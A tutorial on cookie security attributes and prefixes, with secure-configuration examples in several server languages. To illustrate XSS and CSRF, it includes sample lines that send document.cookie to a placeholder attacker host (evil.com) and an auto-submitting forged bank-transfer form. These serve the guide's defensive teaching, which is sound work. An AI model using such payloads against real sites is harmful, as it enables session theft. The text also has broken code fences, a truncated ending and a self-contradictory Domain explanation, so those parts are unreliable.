Guide
Cookie Security: HttpOnly, SameSite, and Secure Flags
A comprehensive guide to understanding and implementing secure HTTP cookies to protect against XSS, CSRF, and session hijacking attacks.
TL;DR: Secure cookies with HttpOnly (prevents XSS), Secure (HTTPS only), and SameSite (CSRF protection) attributes. Use __Host- prefix for maximum security on authentication cookies.
HTTP cookies are fundamental to web authentication and session management, but they also represent a critical security vulnerability if not properly configured. Understanding cookie security attributes and best practices is essential for protecting user data and preventing common attacks like XSS, CSRF, and session hijacking.
Introduction
Cookies are small pieces of data that servers send to browsers, which then store and send back with subsequent requests. While cookies enable stateful interactions over the stateless HTTP protocol, they also create security risks because they’re automatically included in requests and can be accessed by JavaScript.
What makes cookies security-critical?
- They often contain session identifiers that authenticate users
- They’re automatically sent with every request to their domain
- They can be accessed, modified, or stolen by malicious scripts
- They persist across browser sessions unless configured otherwise
- They can be transmitted across insecure connections if not protected
Common cookie security vulnerabilities:
1. Session hijacking - Attacker steals session cookie
2. Cross-Site Scripting (XSS) - Malicious script reads cookies
3. Cross-Site Request Forgery (CSRF) - Unwanted actions using cookies
4. Man-in-the-Middle (MITM) - Cookies intercepted over HTTP
5. Cookie theft - Cookies accessed from unintended domains
Why Cookie Security Matters
Without proper security attributes, cookies can be exploited to compromise user accounts, steal sensitive data, or perform unauthorized actions.
Without secure cookies (vulnerable):
// On evil.com, attacker injects script via XSS
document.location = 'https://evil.com/steal?cookie=' + document.cookie
// Attacker now has session cookie and can impersonate user
fetch('https://yourbank.com/transfer', {
method: 'POST',
credentials: 'include',
headers: { Cookie: 'session=stolen_cookie_value' },
body: JSON.stringify({ to: 'attacker', amount: 10000 })
})
```text
**With secure cookies (protected):**
```http
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict
This configuration prevents:
- JavaScript from reading the cookie (HttpOnly)
- Transmission over HTTP (Secure)
- Cross-site request forgery (SameSite)
Cookie Security Attributes
Modern browsers support several security attributes that control how cookies are stored, transmitted, and accessed. Understanding and properly configuring these attributes is crucial for cookie security.
HttpOnly
The HttpOnly attribute prevents JavaScript from accessing cookies through document.cookie, protecting against XSS attacks.
Setting HttpOnly:
Set-Cookie: session=abc123; HttpOnly
```text
**How it works:**
```javascript
// Without HttpOnly
document.cookie // "session=abc123; user_pref=dark_mode"
// With HttpOnly
document.cookie // "user_pref=dark_mode" (session cookie hidden)
When to use:
- Always for session tokens and authentication cookies
- Always for any cookie containing sensitive data
- Never for cookies that JavaScript needs to read (like preferences)
Example attack prevented:
// XSS attack - malicious script injected into page
<script>
// Without HttpOnly: This succeeds and steals session fetch('https://evil.com/steal?cookie=' +
document.cookie) // With HttpOnly: Session cookie is not accessible // Only non-HttpOnly cookies
are exposed
</script>
```text
### Secure
The `Secure` attribute ensures cookies are only transmitted over HTTPS, preventing interception over insecure connections.
**Setting Secure:**
```http
Set-Cookie: session=abc123; Secure
How it works:
HTTP request → Cookie NOT sent (blocked by browser)
HTTPS request → Cookie sent normally
When to use:
- Always in production environments
- Always for authentication and session cookies
- Required when using
SameSite=None - Optional in local development over HTTP
Example attack prevented:
User connects to public WiFi at coffee shop
Without Secure attribute:
1. User visits http://example.com
2. Browser sends cookie over HTTP
3. Attacker sniffs network traffic
4. Attacker captures session cookie
5. Attacker uses cookie to impersonate user
With Secure attribute:
1. User visits http://example.com (redirects to HTTPS)
2. Browser only sends cookie over HTTPS (encrypted)
3. Attacker cannot read encrypted traffic
4. Session remains secure
SameSite
The SameSite attribute controls whether cookies are sent with cross-site requests, providing CSRF protection.
SameSite values:
Set-Cookie: session=abc123; SameSite=Strict
Set-Cookie: session=abc123; SameSite=Lax
Set-Cookie: session=abc123; SameSite=None; Secure
```text
**SameSite=Strict:**
Most restrictive. Cookie is only sent with same-site requests.
```javascript
// User on https://app.example.com
fetch('https://api.example.com/data') // Cookie sent (same-site)
// User on https://other-site.com clicks link to example.com
// Cookie NOT sent (cross-site)
Use cases:
- Banking and financial applications
- Admin panels
- Any application where cross-site access is never needed
Limitations:
- Cookie not sent when navigating from external sites
- User appears logged out when arriving from search engines or email links
SameSite=Lax (default in modern browsers):
Cookie sent with same-site requests and top-level navigations using safe methods.
// Same-site request - Cookie sent
fetch('https://api.example.com/data')
// Top-level navigation (link click) - Cookie sent
<a href="https://app.example.com/dashboard">Dashboard</a>
// Cross-site POST from form - Cookie NOT sent
<form action="https://app.example.com/delete" method="POST">
// Cross-site fetch/XHR - Cookie NOT sent
fetch('https://app.example.com/api', { method: 'POST' })
```text
**Use cases:**
- Most web applications (good default)
- Sites that need authentication from external links
- Balance between security and usability
**SameSite=None:**
Cookie sent with all cross-site requests. Must be combined with `Secure`.
```http
Set-Cookie: widget_session=xyz789; SameSite=None; Secure
Use cases:
- Embedded widgets and iframes
- OAuth and SSO flows
- Third-party integrations
- Cross-domain API requests
Example CSRF attack prevented:
<!-- Attacker's site: evil.com -->
<html>
<body>
<!-- Malicious form that attempts CSRF -->
<form action="https://yourbank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>
document.getElementById('csrf').submit()
</script>
</body>
</html>
```text
**Without SameSite:**
- Browser sends session cookie with POST request
- Bank processes transfer (thinks it's legitimate user)
- Money transferred to attacker
**With SameSite=Lax or Strict:**
- Browser blocks cookie from being sent cross-site
- Bank sees unauthenticated request
- Transfer rejected
### Domain
The `Domain` attribute specifies which hosts can receive the cookie.
**Setting Domain:**
```http
# Cookie sent to example.com only
Set-Cookie: session=abc123; Domain=example.com
# Cookie sent to example.com and all subdomains
Set-Cookie: session=abc123; Domain=.example.com
How it works:
Cookie: Domain=example.com
Sent to:
✓ example.com
✓ www.example.com
✓ api.example.com
✓ any.subdomain.example.com
NOT sent to:
✗ other-example.com
✗ example.org
Security implications:
# Secure: Specific domain only
Set-Cookie: session=abc123; Domain=app.example.com
# Less secure: All subdomains can access
Set-Cookie: session=abc123; Domain=.example.com
```text
**Best practices:**
- Omit `Domain` to restrict to exact domain (most secure)
- Only include subdomains if absolutely necessary
- Be cautious with subdomains - all subdomains can access the cookie
- Remember that any subdomain can set cookies for parent domain
**Example vulnerability:**
```text
Cookie set with: Domain=.example.com
Scenario:
1. User has session cookie for example.com
2. Attacker compromises subdomain: malicious.example.com
3. Attacker can read/modify session cookie
4. Attacker impersonates user on main domain
```text
### Path
The `Path` attribute specifies the URL path that must exist in the request URL for the cookie to be sent.
**Setting Path:**
```http
Set-Cookie: session=abc123; Path=/
Set-Cookie: admin_session=xyz789; Path=/admin
Set-Cookie: api_token=def456; Path=/api
How it works:
Cookie: Path=/admin
Sent to:
✓ /admin
✓ /admin/users
✓ /admin/settings/profile
NOT sent to:
✗ /
✗ /public
✗ /api/users
Security implications:
# Less secure: Cookie sent to all paths
Set-Cookie: admin_token=secret; Path=/
# More secure: Cookie only sent to admin area
Set-Cookie: admin_token=secret; Path=/admin
```text
**Best practices:**
- Use specific paths to limit cookie exposure
- Set `Path=/` for general session cookies
- Use specific paths like `/admin` for privileged cookies
- Remember that Path provides minimal security (easily bypassed)
**Important note:**
Path is not a security boundary. JavaScript can still access cookies from other paths on the same domain. Use it for organization, not security.
### Max-Age and Expires
These attributes control cookie lifetime and persistence.
**Max-Age (preferred, takes precedence over Expires):**
```http
Set-Cookie: session=abc123; Max-Age=3600 # 1 hour
Set-Cookie: remember=xyz789; Max-Age=2592000 # 30 days
Set-Cookie: temp=abc; Max-Age=0 # Delete cookie immediately
Expires (older format, still widely supported):
Set-Cookie: session=abc123; Expires=Wed, 21 Oct 2026 07:28:00 GMT
```text
**Session vs Persistent cookies:**
```http
# Session cookie - deleted when browser closes
Set-Cookie: session=abc123; HttpOnly; Secure
# Persistent cookie - survives browser restart
Set-Cookie: remember=xyz789; Max-Age=2592000; HttpOnly; Secure
Security implications:
# High security: Short-lived session cookie
Set-Cookie: bank_session=abc123; Max-Age=900; HttpOnly; Secure; SameSite=Strict
# Expires after 15 minutes
# Moderate security: Longer-lived with "remember me"
Set-Cookie: app_session=xyz789; Max-Age=86400; HttpOnly; Secure; SameSite=Lax
# Expires after 24 hours
# Lower security risk: Non-sensitive preference
Set-Cookie: theme=dark; Max-Age=31536000
# Expires after 1 year
```text
**Best practices:**
- Use shortest lifetime necessary for your use case
- Session cookies for sensitive operations (banking, admin)
- Longer-lived cookies only with user consent ("remember me")
- Always provide a way to invalidate sessions server-side
- Consider idle timeout in addition to absolute timeout
## Common Cookie Attacks
Understanding attack vectors helps you properly configure cookie security.
### Cross-Site Scripting (XSS)
XSS allows attackers to inject malicious scripts that can steal cookies.
**Attack scenario:**
```javascript
// Vulnerable site with XSS
// User input not sanitized: <script>alert('XSS')</script>
// Attacker injects this script
<script>// Steal all cookies fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
How cookies are stolen:
// Without HttpOnly
document.cookie
// Returns: "session=abc123; user_id=42; preferences=dark_mode"
// Attacker sends to their server
new Image().src = 'https://evil.com/log?data=' + encodeURIComponent(document.cookie)
```text
**Protection:**
```http
# HttpOnly prevents JavaScript access
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
# Additional protections
Content-Security-Policy: default-src 'self'; script-src 'self'
X-XSS-Protection: 1; mode=block
Best practices:
- Always set
HttpOnlyon authentication cookies - Sanitize and validate all user input
- Use Content Security Policy (CSP)
- Escape output in HTML templates
- Use modern frameworks with built-in XSS protection
Cross-Site Request Forgery (CSRF)
CSRF tricks users into performing unwanted actions using their authentication cookies.
Attack scenario:
<!-- User logged into bank.com -->
<!-- Visits attacker's site evil.com -->
<html>
<body>
<h1>Click here for free prize!</h1>
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attacker" />
<input type="hidden" name="amount" value="10000" />
</form>
<script>
// Auto-submit form
document.getElementById('csrf').submit()
</script>
</body>
</html>
```text
**Without protection:**
```text
1. User authenticated to bank.com (has session cookie)
2. User visits evil.com
3. Evil.com submits form to bank.com
4. Browser automatically includes session cookie
5. Bank processes transfer (thinks it's legitimate)
6. Money stolen
```text
**Protection with SameSite:**
```http
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
# Browser blocks cookie from being sent cross-site
# Bank sees unauthenticated request
# Transfer rejected
Additional CSRF protections:
// CSRF token in forms
;<form action='/transfer' method='POST'>
<input type='hidden' name='_csrf' value='random_token_here' />
<input name='to' value='recipient' />
<input name='amount' value='100' />
<button type='submit'>Transfer</button>
</form>
// Server validates token
app.post('/transfer', (req, res) => {
if (req.body._csrf !== req.session.csrfToken) {
return res.status(403).json({ error: 'Invalid CSRF token' })
}
// Process transfer
})
```text
**Best practices:**
1. Use `SameSite=Lax` or `Strict` for session cookies
2. Implement CSRF tokens for state-changing operations
3. Validate Origin and Referer headers
4. Require re-authentication for sensitive actions
5. Use custom headers for AJAX requests
### Session Hijacking
Attackers steal session cookies to impersonate users.
**Attack vectors:**
**1. Network sniffing (Man-in-the-Middle):**
```text
User connects to http://example.com (no HTTPS)
Attacker on same network:
1. Sniffs network traffic
2. Captures cookie: session=abc123
3. Replays cookie in their browser
4. Gains access to user's account
```text
**Protection:**
```http
# Secure attribute forces HTTPS
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict
# Also use HSTS to force HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains
2. XSS-based theft:
// Attacker injects script
<script>
fetch('https://evil.com/steal', {
method: 'POST',
body: document.cookie // Without HttpOnly, this works
})
</script>
```text
**Protection:**
```http
Set-Cookie: session=abc123; HttpOnly; Secure
3. Session fixation:
Attacker scenario:
1. Attacker gets session ID: session=attacker_known_id
2. Tricks victim into using this session ID
3. Victim logs in (session ID unchanged)
4. Attacker uses known session ID to access victim's account
Protection:
// Regenerate session ID on login
app.post('/login', (req, res) => {
if (validateCredentials(req.body)) {
// Regenerate session ID
req.session.regenerate((err) => {
req.session.userId = user.id
res.redirect('/dashboard')
})
}
})
```text
**Best practices:**
1. Always use HTTPS in production
2. Set `Secure` attribute on all sensitive cookies
3. Regenerate session IDs after authentication
4. Implement session timeout and idle timeout
5. Bind sessions to additional factors (IP, User-Agent)
6. Provide logout functionality that invalidates sessions
### Cookie Theft via Subdomain Takeover
If an attacker controls a subdomain, they may be able to steal cookies.
**Attack scenario:**
```text
Setup:
- Main app: app.example.com
- Cookie: session=abc123; Domain=.example.com
- Abandoned subdomain: old.example.com
Attack:
1. Attacker claims old.example.com (forgotten/expired)
2. Attacker sets up malicious site on old.example.com
3. User visits old.example.com
4. Browser sends session cookie (Domain=.example.com includes all subdomains)
5. Attacker steals cookie
6. Attacker uses cookie on app.example.com
```text
**Protection:**
```http
# Don't set Domain attribute (most restrictive)
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
# If you must use subdomains, be specific
Set-Cookie: session=abc123; Domain=app.example.com; HttpOnly; Secure
Additional protections:
- Regularly audit and remove unused subdomains
- Use CAA DNS records to control certificate issuance
- Monitor for unauthorized subdomain creation
- Use separate domains for untrusted content
- Consider cookie prefixes for additional security
Cookie Prefixes
Modern browsers support cookie prefixes that enforce additional security constraints.
__Secure- Prefix
Cookies with the __Secure- prefix must be set with the Secure attribute and must be from a secure origin.
Usage:
Set-Cookie: __Secure-session=abc123; Secure; Path=/
```text
**Requirements:**
- Must include `Secure` attribute
- Must be set over HTTPS
- Cannot be set over HTTP
**Rejected examples:**
```http
# Rejected: Missing Secure attribute
Set-Cookie: __Secure-session=abc123; Path=/
# Rejected: Sent over HTTP
HTTP/1.1 200 OK
Set-Cookie: __Secure-session=abc123; Secure; Path=/
Benefits:
// Prevents downgrade attacks
// Even if HTTP is somehow accessed, __Secure- cookies won't be sent
```text
### \_\_Host- Prefix
Cookies with the `__Host-` prefix have the strongest security constraints.
**Usage:**
```http
Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Strict
Requirements:
- Must include
Secureattribute - Must be set over HTTPS
- Must NOT include
Domainattribute (restricts to exact domain) - Must have
Path=/
Benefits:
# Prevents subdomain attacks
Set-Cookie: __Host-session=abc123; Secure; Path=/
# This cookie can ONLY be:
# - Set by the exact domain (no subdomains)
# - Sent to the exact domain (no subdomains)
# - Transmitted over HTTPS
# - Available on all paths
```text
**Example comparison:**
```http
# Without prefix - vulnerable to subdomain attacks
Set-Cookie: session=abc123; Domain=.example.com; Secure
# With __Host- prefix - protected
Set-Cookie: __Host-session=abc123; Secure; Path=/
# Can only be set by and sent to exact domain
Best practices:
Use __Host- prefix for critical authentication cookies:
Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Strict; Max-Age=3600
```text
## Secure Cookie Configuration Examples
### Maximum Security (Banking, Healthcare, Admin)
```http
Set-Cookie: __Host-session=abc123; Secure; Path=/; HttpOnly; SameSite=Strict; Max-Age=900
Explanation:
__Host-prefix: Strictest domain bindingSecure: HTTPS onlyPath=/: Available on all pathsHttpOnly: No JavaScript accessSameSite=Strict: No cross-site requestsMax-Age=900: 15-minute timeout
Server implementation (Node.js):
app.post('/login', (req, res) => {
if (validateCredentials(req.body)) {
const sessionId = generateSecureSessionId()
res.cookie('__Host-session', sessionId, {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 900000, // 15 minutes in milliseconds
path: '/'
})
res.redirect('/dashboard')
}
})
```text
### High Security (General Web Applications)
```http
Set-Cookie: __Secure-session=abc123; Secure; HttpOnly; SameSite=Lax; Max-Age=86400; Path=/
Explanation:
__Secure-prefix: Must be over HTTPSSecure: HTTPS onlyHttpOnly: No JavaScript accessSameSite=Lax: Allows top-level navigationMax-Age=86400: 24-hour timeoutPath=/: Available on all paths
Server implementation (Express):
const express = require('express')
const session = require('express-session')
app.use(
session({
name: '__Secure-session',
secret: process.env.SESSION_SECRET,
cookie: {
secure: true,
httpOnly: true,
sameSite: 'lax',
maxAge: 86400000 // 24 hours
},
resave: false,
saveUninitialized: false
})
)
```text
### Cross-Domain Integration (Widgets, OAuth)
```http
Set-Cookie: widget_session=abc123; Secure; HttpOnly; SameSite=None; Max-Age=3600
Explanation:
- No prefix (needs cross-domain support)
Secure: Required with SameSite=NoneHttpOnly: Prevents JavaScript accessSameSite=None: Allows cross-site requestsMax-Age=3600: 1-hour timeout
Important: Only use SameSite=None when absolutely necessary for legitimate cross-site functionality.
Server implementation (OAuth callback):
app.get('/oauth/callback', (req, res) => {
const token = exchangeCodeForToken(req.query.code)
res.cookie('oauth_token', token, {
secure: true,
httpOnly: true,
sameSite: 'none', // Allows cross-site OAuth flow
maxAge: 3600000,
domain: '.example.com' // If needed for subdomains
})
res.redirect('/dashboard')
})
```text
### Remember Me Functionality
```http
# Session cookie (short-lived)
Set-Cookie: __Host-session=abc123; Secure; HttpOnly; SameSite=Strict; Path=/
# Remember me token (long-lived)
Set-Cookie: __Secure-remember=xyz789; Secure; HttpOnly; SameSite=Strict; Max-Age=2592000; Path=/
Server implementation:
app.post('/login', async (req, res) => {
if (validateCredentials(req.body)) {
const sessionId = generateSecureSessionId()
// Session cookie
res.cookie('__Host-session', sessionId, {
secure: true,
httpOnly: true,
sameSite: 'strict',
path: '/'
// No Max-Age = session cookie
})
// Remember me token (if checkbox checked)
if (req.body.rememberMe) {
const rememberToken = await generateRememberToken(user.id)
res.cookie('__Secure-remember', rememberToken, {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 2592000000, // 30 days
path: '/'
})
}
res.redirect('/dashboard')
}
})
// Middleware to restore session from remember token
app.use(async (req, res, next) => {
if (!req.cookies['__Host-session'] && req.cookies['__Secure-remember']) {
const userId = await validateRememberToken(req.cookies['__Secure-remember'])
if (userId) {
// Create new session
req.session.regenerate((err) => {
req.session.userId = userId
next()
})
} else {
// Invalid token, clear it
res.clearCookie('__Secure-remember')
next()
}
} else {
next()
}
})
```javascript
## Server Implementation Examples
### Node.js (Express)
**Basic secure session:**
```javascript
const express = require('express')
const session = require('express-session')
const app = express()
app.use(
session({
name: '__Host-session',
secret: process.env.SESSION_SECRET,
cookie: {
secure: process.env.NODE_ENV === 'production',
httpOnly: true,
sameSite: 'strict',
maxAge: 3600000 // 1 hour
},
resave: false,
saveUninitialized: false
})
)
Custom cookie with all security attributes:
app.post('/login', (req, res) => {
if (validateUser(req.body)) {
// Set secure session cookie
res.cookie('__Host-session', generateSessionId(), {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 3600000,
path: '/'
})
// Set user preferences (less sensitive)
res.cookie('preferences', JSON.stringify(user.preferences), {
secure: true,
sameSite: 'lax',
maxAge: 31536000000 // 1 year
})
res.json({ success: true })
}
})
// Logout - clear all cookies
app.post('/logout', (req, res) => {
res.clearCookie('__Host-session', { path: '/' })
res.clearCookie('preferences')
req.session.destroy()
res.redirect('/')
})
```javascript
### Python (Flask)
**Basic secure session:**
```python
from flask import Flask, session, make_response
from datetime import timedelta
app = Flask(__name__)
app.secret_key = os.environ.get('SECRET_KEY')
# Session cookie configuration
app.config.update(
SESSION_COOKIE_SECURE=True,
SESSION_COOKIE_HTTPONLY=True,
SESSION_COOKIE_SAMESITE='Strict',
SESSION_COOKIE_NAME='__Host-session',
PERMANENT_SESSION_LIFETIME=timedelta(hours=1)
)
@app.route('/login', methods=['POST'])
def login():
if validate_credentials(request.form):
session['user_id'] = user.id
session.permanent = True
return redirect('/dashboard')
return 'Invalid credentials', 401
Custom cookie with security attributes:
from flask import Flask, make_response
from datetime import datetime, timedelta
@app.route('/login', methods=['POST'])
def login():
if validate_user(request.form):
response = make_response(redirect('/dashboard'))
# Secure session cookie
response.set_cookie(
'__Host-session',
value=generate_session_id(),
secure=True,
httponly=True,
samesite='Strict',
max_age=3600,
path='/'
)
# Remember me token
if request.form.get('remember_me'):
response.set_cookie(
'__Secure-remember',
value=generate_remember_token(),
secure=True,
httponly=True,
samesite='Strict',
max_age=2592000, # 30 days
path='/'
)
return response
@app.route('/logout', methods=['POST'])
def logout():
response = make_response(redirect('/'))
response.set_cookie('__Host-session', '', expires=0)
response.set_cookie('__Secure-remember', '', expires=0)
return response
```text
### PHP
**Basic secure session:**
```php
<?php
// Start session with secure settings
session_name('__Host-session');
session_set_cookie_params([
'lifetime' => 3600,
'path' => '/',
'domain' => '',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]);
session_start();
// Login
if (validate_credentials($_POST)) {
session_regenerate_id(true);
$_SESSION['user_id'] = $user['id'];
header('Location: /dashboard');
}
?>
Custom cookie with security attributes:
<?php
// Set secure cookie
setcookie(
'__Host-session',
$session_id,
[
'expires' => time() + 3600,
'path' => '/',
'domain' => '',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]
);
// Remember me token
if (isset($_POST['remember_me'])) {
setcookie(
'__Secure-remember',
$remember_token,
[
'expires' => time() + 2592000, // 30 days
'path' => '/',
'domain' => '',
'secure' => true,
'httponly' => true,
'samesite' => 'Strict'
]
);
}
// Logout - delete cookies
setcookie('__Host-session', '', ['expires' => time() - 3600, 'path' => '/']);
setcookie('__Secure-remember', '', ['expires' => time() - 3600, 'path' => '/']);
?>
```javascript
### Java (Spring Boot)
**Application configuration:**
```java
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.session.web.http.CookieSerializer;
import org.springframework.session.web.http.DefaultCookieSerializer;
@Configuration
public class SessionConfig {
@Bean
public CookieSerializer cookieSerializer() {
DefaultCookieSerializer serializer = new DefaultCookieSerializer();
serializer.setCookieName("__Host-session");
serializer.setCookiePath("/");
serializer.setUseSecureCookie(true);
serializer.setUseHttpOnlyCookie(true);
serializer.setSameSite("Strict");
serializer.setCookieMaxAge(3600); // 1 hour
return serializer;
}
}
Controller with custom cookies:
import org.springframework.web.bind.annotation.*;
import javax.servlet.http.Cookie;
import javax.servlet.http.HttpServletResponse;
@RestController
public class AuthController {
@PostMapping("/login")
public ResponseEntity<?> login(
@RequestBody LoginRequest request,
HttpServletResponse response) {
if (validateCredentials(request)) {
// Session cookie
Cookie sessionCookie = new Cookie("__Host-session", generateSessionId());
sessionCookie.setSecure(true);
sessionCookie.setHttpOnly(true);
sessionCookie.setPath("/");
sessionCookie.setMaxAge(3600);
response.addCookie(sessionCookie);
// Remember me token
if (request.isRememberMe()) {
Cookie rememberCookie = new Cookie("__Secure-remember", generateToken());
rememberCookie.setSecure(true);
rememberCookie.setHttpOnly(true);
rememberCookie.setPath("/");
rememberCookie.setMaxAge(2592000); // 30 days
response.addCookie(rememberCookie);
}
return ResponseEntity.ok().build();
}
return ResponseEntity.status(401).build();
}
@PostMapping("/logout")
public ResponseEntity<?> logout(HttpServletResponse response) {
Cookie sessionCookie = new Cookie("__Host-session", "");
sessionCookie.setMaxAge(0);
sessionCookie.setPath("/");
response.addCookie(sessionCookie);
Cookie rememberCookie = new Cookie("__Secure-remember", "");
rememberCookie.setMaxAge(0);
rememberCookie.setPath("/");
response.addCookie(rememberCookie);
return ResponseEntity.ok().build();
}
}
```text
### Go
**Basic secure session:**
```go
package main
import (
"net/http"
"time"
)
func loginHandler(w http.ResponseWriter, r *http.Request) {
if validateCredentials(r.FormValue("username"), r.FormValue("password")) {
// Create secure session cookie
cookie := &http.Cookie{
Name: "__Host-session",
Value: generateSessionID(),
Path: "/",
MaxAge: 3600, // 1 hour
Secure: true,
HttpOnly: true,
SameSite: http.SameSiteStrictMode,
}
http.SetCookie(w, cookie)
http.Redirect(w, r, "/dashboard", http.StatusSeeOther)
}
}
func logoutHandler(w http.ResponseWriter, r *http.Request) {
// Delete session cookie
cookie := &http.Cookie{
Name: "__Host-session",
Value: "",
Path: "/",
MaxAge: -1,
Secure: true,
HttpOnly: true,
SameSite: http.SameSiteStrictMode,
}
http.SetCookie(w, cookie)
http.Redirect(w, r, "/", http.StatusSeeOther)
}
Advanced session management:
package main
import (
"crypto/rand"
"encoding/base64"
"net/http"
"time"
)
func generateSecureToken() (string, error) {
b := make([]byte, 32)
_, err := rand.Read(b)
if err != nil {
return "", err
}
return base64.URLEncoding.EncodeToString(b), nil
}
func setSecureSessionCookie(w http.ResponseWriter, sessionID string) {
cookie := &http.Cookie{
Name: "__Host-session",
Value: sessionID,
Path: "/",
MaxAge: 3600,
Secure: true,
HttpOnly: true,
SameSite: http.SameSiteStrictMode,
}
http.SetCookie(w, cookie)
}
func setRememberMeCookie(w http.ResponseWriter, token string) {
cookie := &http.Cookie{
Name: "__Secure-remember",
Value: token,
Path: "/",
MaxAge: 2592000, // 30 days
Secure: true,
HttpOnly: true,
SameSite: http.SameSiteStrictMode,
}
http.SetCookie(w, cookie)
}
func loginHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
return
}
username := r.FormValue("username")
password := r.FormValue("password")
rememberMe := r.FormValue("remember_me") == "true"
if validateUser(username, password) {
sessionID, _ := generateSecureToken()
setSecureSessionCookie(w, sessionID)
if rememberMe {
token, _ := generateSecureToken()
setRememberMeCookie(w, token)
}
http.Redirect(w, r, "/dashboard", http.StatusSeeOther)
} else {
http.Error(w, "Invalid credentials", http.StatusUnauthorized)
}
}
```text
## Real-World Security Scenarios
### Scenario 1: E-commerce Application
**Requirements:**
- User sessions must be highly secure
- Shopping cart should persist across visits
- Remember me functionality for convenience
**Implementation:**
```javascript
// Session cookie - short-lived, strict security
res.cookie('__Host-session', sessionId, {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 1800000 // 30 minutes
})
// Shopping cart - longer-lived, non-sensitive
res.cookie('__Secure-cart', cartId, {
secure: true,
httpOnly: true,
sameSite: 'lax',
maxAge: 604800000 // 7 days
})
// Remember me - long-lived, validated server-side
res.cookie('__Secure-remember', rememberToken, {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 2592000000 // 30 days
})
Scenario 2: Banking Application
Requirements:
- Maximum security
- Short session timeout
- No cross-site requests
- Frequent re-authentication
Implementation:
// Ultra-secure session configuration
res.cookie('__Host-session', sessionId, {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 600000 // 10 minutes only
})
// Sensitive action requires fresh authentication
app.post('/transfer', requireRecentAuth, (req, res) => {
const lastAuthTime = req.session.lastAuthTime
const fiveMinutesAgo = Date.now() - 300000
if (lastAuthTime < fiveMinutesAgo) {
return res.status(403).json({
error: 'Please re-authenticate for this action'
})
}
// Process transfer
})
// Re-authentication updates timestamp
app.post('/re-auth', (req, res) => {
if (validatePassword(req.body.password)) {
req.session.lastAuthTime = Date.now()
res.json({ success: true })
}
})
```javascript
### Scenario 3: Multi-Domain SSO
**Requirements:**
- Single sign-on across subdomains
- Secure token exchange
- Support for multiple applications
**Implementation:**
```javascript
// Central auth domain: auth.example.com
app.post('/login', (req, res) => {
if (validateCredentials(req.body)) {
// Master session on auth domain
res.cookie('__Host-auth-session', masterSessionId, {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 3600000
})
// SSO token for subdomain apps
const ssoToken = generateSSOToken(user.id)
// Redirect to app with token
res.redirect(`https://app.example.com/sso?token=${ssoToken}`)
}
})
// Application domain: app.example.com
app.get('/sso', async (req, res) => {
const ssoToken = req.query.token
// Validate token with auth service
const userId = await validateSSOToken(ssoToken)
if (userId) {
// Create session on app domain
res.cookie('__Host-app-session', generateSessionId(), {
secure: true,
httpOnly: true,
sameSite: 'strict',
maxAge: 3600000
})
res.redirect('/dashboard')
}
})
Scenario 4: Embedded Widget
Requirements:
- Widget embedded in third-party sites
- Cross-origin requests necessary
- Minimal security compromise
Implementation:
// Widget must use SameSite=None
app.post('/widget/init', (req, res) => {
res.cookie('widget_session', sessionId, {
secure: true,
httpOnly: true,
sameSite: 'none', // Required for cross-origin
maxAge: 3600000
})
res.json({ widgetId: 'abc123' })
})
// Additional security measures
app.use((req, res, next) => {
// Validate origin against whitelist
const origin = req.headers.origin
const allowedOrigins = getAllowedWidgetOrigins()
if (!allowedOrigins.includes(origin)) {
return res.status(403).json({ error: 'Origin not allowed' })
}
// Add CORS headers
res.header('Access-Control-Allow-Origin', origin)
res.header('Access-Control-Allow-Credentials', 'true')
next()
})
```text
## Troubleshooting Common Cookie Security Issues
### Issue 1: Cookies Not Being Sent
**Symptoms:**
- Session appears lost on every request
- User logged out immediately after login
- Cookies visible in DevTools but not sent
**Common causes and solutions:**
**Cause 1: Missing Secure attribute on HTTPS:**
```http
# Wrong: Cookie set without Secure on HTTPS site
Set-Cookie: session=abc123; HttpOnly
# Right: Include Secure for HTTPS
Set-Cookie: session=abc123; Secure; HttpOnly
Cause 2: SameSite too restrictive:
# Problem: SameSite=Strict blocks navigation from external sites
Set-Cookie: session=abc123; SameSite=Strict
# Solution: Use Lax for general applications
Set-Cookie: session=abc123; SameSite=Lax
```text
**Cause 3: Domain mismatch:**
```http
# Problem: Cookie set for different domain
Set-Cookie: session=abc123; Domain=api.example.com
# User visits app.example.com - cookie not sent
# Solution: Don't set Domain or use correct domain
Set-Cookie: session=abc123; HttpOnly; Secure
Cause 4: Path mismatch:
# Problem: Cookie restricted to specific path
Set-Cookie: admin_session=abc123; Path=/admin
# Request to /api/users - cookie not sent
# Solution: Use Path=/ for general cookies
Set-Cookie: session=abc123; Path=/
```text
### Issue 2: SameSite=None Not Working
**Symptoms:**
- Cross-site requests fail
- Widgets don't work when embedded
- OAuth flows broken
**Error message:**
```text
Cookie "widget_session" has been rejected because it is in a cross-site context and its SameSite is "Lax" or "Strict".
```text
**Solution:**
```http
# Wrong: SameSite=None without Secure
Set-Cookie: widget_session=abc123; SameSite=None
# Right: SameSite=None requires Secure
Set-Cookie: widget_session=abc123; Secure; SameSite=None
Additional requirements:
- Must be served over HTTPS
- Some older browsers don’t support SameSite=None
- Consider browser compatibility and fallbacks
Issue 3: Cookies Accessible to JavaScript (Security Risk)
Symptoms:
